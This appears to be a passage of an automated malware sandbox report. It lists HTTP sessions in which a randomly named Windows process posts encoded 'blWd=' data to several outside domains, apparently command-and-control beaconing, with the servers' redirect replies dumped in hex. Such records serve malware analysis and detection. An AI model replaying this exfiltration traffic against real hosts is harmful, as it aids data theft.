57 42 75 59 2f 6a 6c 77 7a 41 61 46 63 37 52 36 44 77 4e 4c 33 34 6c 6c 7a 4d 44 6b 76 78 71 32 62 75 57 4b 42 77 44 4d 38 34 69 4d 52 6d 44 33 77 63 30 30 2f 39 66 69 38 62 52 41 52 55 7a 4a 43 4a 62 45 74 4d 4d 41 76 53 6a 2f 64 59 58 64 47 74 49 55 72 6a 68 4a 5a 52 72 5a 38 45 5a 57 32 78 44 41 55 46 49 72 63 4a 45 68 54 2f 51 58 30 45 34 5a 31 72 49 62 36 49 69 6e 68 49 70 59 30 31 33 66 64 41 43 70 34 6d 74 47 78 67 4e 39 43 66 43 44 4f 6c 36 49 6d 79 57 6a 67 38 2f 4e 51 43 65 61 4b 50 46 6f 58 4a 72 49 32 59 5a 45 2b 43 47 30 56 38 6a 75 47 70 6e 51 50 39 55 6d 6d 39 47 6b 54 47 4d 4e 75 6f 42 35 5a 34 57 55 66 58 41 41 44 64 48 6e 4e 47 2b 62 57 39 71 43 2b 4d 35 46 79 33 72 65 72 30 4b 67 54 48 56 47 63 33 32 68 30 6a 56 33 70 44 55 67 69 67 74 65 55 32 2b 77 6e 4d 46 36 70 6b 47 77 69 58 50 4d 56 73 6e 66 7a 45 64 69 48 7a 62 38 74 4a 33 6c 59 4f 2b 74 34 4d 4d 54 78 76 37 49 4f 43 50 59 77 71 42 4d 76 6b 4d 34 61 34 4e 57 79 66 4e 79 4c 55 [TRUNCATED] Data Ascii: blWd=o8fU2tjVRDgWBuY/jlwzAaFc7R6DwNL34llzMDkvxq2buWKBwDM84iMRmD3wc00/9fi8bRARUzJCJbEtMMAvSj/dYXdGtIUrjhJZRrZ8EZW2xDAUFIrcJEhT/QX0E4Z1rIb6IinhIpY013fdACp4mtGxgN9CfCDOl6ImyWjg8/NQCeaKPFoXJrI2YZE+CG0V8juGpnQP9Umm9GkTGMNuoB5Z4WUfXAADdHnNG+bW9qC+M5Fy3rer0KgTHVGc32h0jV3pDUgigteU2+wnMF6pkGwiXPMVsnfzEdiHzb8tJ3lYO+t4MMTxv7IOCPYwqBMvkM4a4NWyfNyLUo3daVh963mW3GTg3u4mSS2ECnzTs/FrMzIyRxPgiE+/3MxguOZra2PFuuiPpvLORb2gBCWu7kBJlhECqd9P2zpqBr1sQHFR1rJzr+CHFjbM5xGnvyFoCenp6+Nv/ulEJDdsjNR5MfmLdk1aQNGJiVvIJQH43+2rtb0Z97HNL8AnaIwb94+dipdj+xLgE+IGsdJI5vENcGD+3I+x4o6fRklMLazVz33QU6UIXt3sq3CpyvbX/033E4TB19ZKyvvWensIPjg//22mA1QKxA0cKncQQyiU9ZiQya9T0eYl9ikuNAvpepGd+bgL3mKOu7LpnEowAp1WJ1vrxVXFI8CaVD3oN48hfr0SATtF3oiL7LNxCb8ay72SZt7H0UlynJrsHFPAI25eQ6ZJzUMGNc9F5iE9ShzmbksHkq516/uiveVVsPs1FegxAD8Rm6yFT62yDRNcaevLNBMQZPzqcgbHe48A5cin9qXvMrPAeJcpXGNmcLR7h8KUcq/Ar82nnIAlIViTmYayBmiqnxdSaamLN3L5LbNiFSA6e8xORc+gsguK6LPQh5hFcNIBom91svWqpwib76a3xJDlY9Dnow6vj2ql9klsFNFPkm2C5mfMj5EeSCfGgddARKUMuFm7HiFRHPvWf3QSG3a6sB4NS6wJQaYSJU7j/SUIf/+ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49766	15.197.240.20	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:05.004097939 CEST	530	OUT	GET /fo8o/?blWd=l+301ZvITCxaX9AHm1YsL655mgOT9ufJgzctOQx29qSsrxX8kw49ykgmumiYYU42xMGxVig5KVZrJosPbs9pCTG1dl0n9Zx5sBovXqlibLG+oTQgCZHMA1AF4xfdSZkJv4XAGCI=&Ixe=Apq4tPPXNdTp2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.donnavariedades.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:53:05.501517057 CEST	414	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 02 Aug 2024 11:53:05 GMT Content-Type: text/html Content-Length: 274 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 62 6c 57 64 3d 6c 2b 33 30 31 5a 76 49 54 43 78 61 58 39 41 48 6d 31 59 73 4c 36 35 35 6d 67 4f 54 39 75 66 4a 67 7a 63 74 4f 51 78 32 39 71 53 73 72 78 58 38 6b 77 34 39 79 6b 67 6d 75 6d 69 59 59 55 34 32 78 4d 47 78 56 69 67 35 4b 56 5a 72 4a 6f 73 50 62 73 39 70 43 54 47 31 64 6c 30 6e 39 5a 78 35 73 42 6f 76 58 71 6c 69 62 4c 47 2b 6f 54 51 67 43 5a 48 4d 41 31 41 46 34 78 66 64 53 5a 6b 4a 76 34 58 41 47 43 49 3d 26 49 78 65 3d 41 70 71 34 74 50 50 58 4e 64 54 70 32 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?blWd=l+301ZvITCxaX9AHm1YsL655mgOT9ufJgzctOQx29qSsrxX8kw49ykgmumiYYU42xMGxVig5KVZrJosPbs9pCTG1dl0n9Zx5sBovXqlibLG+oTQgCZHMA1AF4xfdSZkJv4XAGCI=&Ixe=Apq4tPPXNdTp2"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49767	217.196.55.202	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:19.022710085 CEST	792	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.empowermedeco.com Origin: http://www.empowermedeco.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.empowermedeco.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 72 7a 50 78 39 57 50 50 4e 34 6f 48 54 54 36 34 44 63 33 64 49 31 77 6c 57 4b 32 63 54 4b 55 30 61 2b 74 45 47 77 74 65 42 6d 32 75 48 6f 39 6e 51 51 56 70 4e 50 36 74 62 7a 2f 57 33 51 46 47 4a 69 33 77 63 37 67 2b 65 59 61 32 39 43 78 2f 50 68 6c 4c 47 46 56 54 31 71 66 55 4f 71 51 56 54 70 7a 4c 5a 43 6e 2b 59 30 58 6a 48 4b 70 2b 35 7a 6b 6a 49 38 69 75 50 6c 51 58 33 73 58 51 47 6d 6c 45 74 75 2f 4e 69 7a 70 55 4e 49 47 67 64 50 6f 33 51 52 76 55 6f 4f 6a 2b 68 6f 30 4a 75 38 31 6e 69 65 69 33 71 4c 44 64 43 47 51 39 4a 6a 50 7a 58 78 74 43 69 79 75 77 63 71 4c 41 38 34 43 6e 30 58 4c 33 30 77 61 6f Data Ascii: blWd=rzPx9WPPN4oHTT64Dc3dI1wlWK2cTKU0a+tEGwteBm2uHo9nQQVpNP6tbz/W3QFGJi3wc7g+eYa29Cx/PhlLGFVT1qfUOqQVTpzLZCn+Y0XjHKp+5zkjI8iuPlQX3sXQGmlEtu/NizpUNIGgdPo3QRvUoOj+ho0Ju81niei3qLDdCGQ9JjPzXxtCiyuwcqLA84Cn0XL30wao
Aug 2, 2024 13:53:19.593957901 CEST	1070	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 795 date: Fri, 02 Aug 2024 11:53:19 GMT server: LiteSpeed location: https://www.empowermedeco.com/fo8o/ platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49768	217.196.55.202	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:21.558305979 CEST	816	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.empowermedeco.com Origin: http://www.empowermedeco.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.empowermedeco.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 72 7a 50 78 39 57 50 50 4e 34 6f 48 54 79 4b 34 47 37 72 64 4f 56 77 6d 61 71 32 63 61 71 55 77 61 2b 68 45 47 78 5a 33 42 77 65 75 48 4b 6c 6e 52 52 56 70 44 76 36 74 54 54 2f 54 71 67 46 4a 4a 69 37 34 63 36 4d 2b 65 5a 36 32 39 44 68 2f 50 53 39 4b 48 56 56 56 2b 4b 66 53 41 4b 51 56 54 70 7a 4c 5a 42 61 70 59 30 76 6a 45 36 5a 2b 35 53 6b 67 46 63 69 74 48 46 51 58 39 4d 57 5a 47 6d 6b 52 74 73 62 33 69 77 42 55 4e 4a 57 67 54 36 63 30 4c 68 76 4f 6c 75 69 68 74 4a 52 2b 6a 50 34 65 6c 4e 69 46 35 5a 72 6b 44 77 52 6e 56 51 50 51 46 68 4e 41 69 77 32 43 63 4b 4c 71 2b 34 36 6e 6d 41 48 51 37 45 2f 4c 4f 36 6f 41 59 6c 4c 6a 33 79 6c 39 71 4b 30 42 4e 36 37 55 32 67 3d 3d Data Ascii: blWd=rzPx9WPPN4oHTyK4G7rdOVwmaq2caqUwa+hEGxZ3BweuHKlnRRVpDv6tTT/TqgFJJi74c6M+eZ629Dh/PS9KHVVV+KfSAKQVTpzLZBapY0vjE6Z+5SkgFcitHFQX9MWZGmkRtsb3iwBUNJWgT6c0LhvOluihtJR+jP4elNiF5ZrkDwRnVQPQFhNAiw2CcKLq+46nmAHQ7E/LO6oAYlLj3yl9qK0BN67U2g==
Aug 2, 2024 13:53:22.142978907 CEST	1070	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 795 date: Fri, 02 Aug 2024 11:53:22 GMT server: LiteSpeed location: https://www.empowermedeco.com/fo8o/ platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49769	217.196.55.202	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:24.099364042 CEST	1829	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.empowermedeco.com Origin: http://www.empowermedeco.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.empowermedeco.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 72 7a 50 78 39 57 50 50 4e 34 6f 48 54 79 4b 34 47 37 72 64 4f 56 77 6d 61 71 32 63 61 71 55 77 61 2b 68 45 47 78 5a 33 42 77 6d 75 48 5a 74 6e 65 53 4e 70 43 76 36 74 64 7a 2f 53 71 67 46 51 4a 69 6a 43 63 36 51 41 65 63 2b 32 37 6b 68 2f 48 48 4a 4b 4a 56 56 56 78 71 66 58 4f 71 52 49 54 70 6a 50 5a 42 4b 70 59 30 76 6a 45 38 31 2b 77 6a 6b 67 44 63 69 75 50 6c 52 57 33 73 57 31 47 6d 73 42 74 73 4f 41 68 41 68 55 4f 70 6d 67 52 49 45 30 57 52 76 49 6b 75 69 70 74 4a 74 68 6a 50 6c 68 6c 4f 2b 6a 35 5a 66 6b 50 46 73 68 4a 77 48 57 61 48 4e 6e 79 33 44 6b 63 50 7a 63 2f 49 66 47 6e 42 37 32 7a 51 6a 57 4b 61 30 72 65 54 79 34 77 45 73 63 6b 71 41 54 48 37 75 4b 6c 42 6c 74 2b 35 54 38 46 65 47 6e 49 44 48 68 47 6a 4c 68 51 43 76 52 77 68 48 65 4d 74 49 51 4c 6f 31 75 6c 46 64 50 6d 2f 57 5a 6a 77 66 67 33 70 58 4c 71 4a 7a 4c 36 75 5a 6b 2f 68 53 68 4b 38 37 4a 2f 42 38 4e 6d 64 4e 76 45 72 53 51 6b 75 66 4c 38 68 42 41 36 7a 6a 45 68 79 49 36 76 47 75 55 67 48 32 73 38 31 58 65 56 [TRUNCATED] Data Ascii: blWd=rzPx9WPPN4oHTyK4G7rdOVwmaq2caqUwa+hEGxZ3BwmuHZtneSNpCv6tdz/SqgFQJijCc6QAec+27kh/HHJKJVVVxqfXOqRITpjPZBKpY0vjE81+wjkgDciuPlRW3sW1GmsBtsOAhAhUOpmgRIE0WRvIkuiptJthjPlhlO+j5ZfkPFshJwHWaHNny3DkcPzc/IfGnB72zQjWKa0reTy4wEsckqATH7uKlBlt+5T8FeGnIDHhGjLhQCvRwhHeMtIQLo1ulFdPm/WZjwfg3pXLqJzL6uZk/hShK87J/B8NmdNvErSQkufL8hBA6zjEhyI6vGuUgH2s81XeVIDixDbnWIPixe5THOj1QX8Q7yqPkkxjHAxt+ggpiweeAg1wP76LC37rf6GaI5SASvonDhKMK42ZwjLnYCbzLpsDW6+lxtNU6KY0OpSMOyB9tpQUYABR2tO6zcGqRGhFeO8cDb871WKvJV2kIu8VmqYNpIfCSiLUB5tW18VukjKiTAT7SvDARlAZmM0B+L75MyEmXDWkRWxGyClElMITMefbC5NclUvpHwjCf5SM9zzt5tJPtM0o1agCyknjpzI9xq3HAAA9jzk4FKj9oqhUy45KY9s0VPu1RhxhCqTNJI/dYagWk4FoKQ6BMS1OfaNmEP6uVrKjJxiAFwbDOxuZpDRHEcxj4G0SAJ1uVgAfCJvJHZYLtd1wAQFg38hf2B+nsFLyyyOVDGnIfV3zC2fBe2ciH0I0iu4z1N5LddlXlYO6opVxpgLUoopx/pcLClB0CCHpLHlubs768Rp8skFn3/HEWJWZos8nnOPkJnv/DI8jCepFOpl5f5jTCTMFNnHQpyZSCLexonbe5T720PRkZoL1kkMlqK9qSkj3hhJj8P5IdVmldOFK+glMDimMQZOUx5VUGBjfJmbPiUI4HXHsFqq6rYOi2fmLAv6Ut1BwpcdBlY6iYLPL6ryNaK2eSEtNnpR7x0AcHqDGyh0viGZGuVzAxcwL2Y09Kpc [TRUNCATED]
Aug 2, 2024 13:53:24.672560930 CEST	1070	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 795 date: Fri, 02 Aug 2024 11:53:24 GMT server: LiteSpeed location: https://www.empowermedeco.com/fo8o/ platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49770	217.196.55.202	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:26.630445004 CEST	528	OUT	GET /fo8o/?blWd=mxnR+iHPFb8HZiaBBOLBDF0OC7azb6MRPLEBGwFodGelSqoCQiBwPqu0WU7djgVoJgj4cKk6Pp6Q/yIaSghKYS1O+KnDGu0Ee7a9fQq7JRnHJ6pn6i4sEdb7G20jo8euDHkgubc=&Ixe=Apq4tPPXNdTp2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.empowermedeco.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:53:27.259416103 CEST	1230	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 795 date: Fri, 02 Aug 2024 11:53:27 GMT server: LiteSpeed location: https://www.empowermedeco.com/fo8o/?blWd=mxnR+iHPFb8HZiaBBOLBDF0OC7azb6MRPLEBGwFodGelSqoCQiBwPqu0WU7djgVoJgj4cKk6Pp6Q/yIaSghKYS1O+KnDGu0Ee7a9fQq7JRnHJ6pn6i4sEdb7G20jo8euDHkgubc=&Ixe=Apq4tPPXNdTp2 platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	64509	199.59.243.226	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:53:35.339806080 CEST	771	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.joyesi.xyz Origin: http://www.joyesi.xyz Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.joyesi.xyz/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 31 68 42 4b 38 75 43 4f 6e 30 4f 36 45 57 36 79 7a 36 52 78 51 76 48 46 58 6a 46 4b 4e 55 49 66 68 37 2f 79 57 39 34 37 56 52 50 48 53 69 6e 73 73 69 62 2f 32 37 64 54 71 54 55 46 74 70 4d 36 76 53 76 45 4b 58 50 38 6d 75 7a 61 66 43 38 36 38 77 6c 53 72 36 62 49 6f 34 5a 69 36 77 4e 34 34 6b 67 39 6c 49 51 71 73 6e 71 65 71 6e 63 63 73 68 52 4c 42 78 38 69 5a 76 55 61 37 4f 5a 61 59 4a 42 36 31 53 72 35 63 76 46 37 46 45 4b 47 59 73 5a 51 56 44 38 48 6c 76 71 42 59 70 2b 69 48 56 4e 49 46 54 72 63 45 6d 6a 56 79 53 63 2f 58 76 39 66 55 57 30 68 64 42 67 50 43 49 32 7a 79 30 65 53 2b 7a 4e 30 44 55 70 42 Data Ascii: 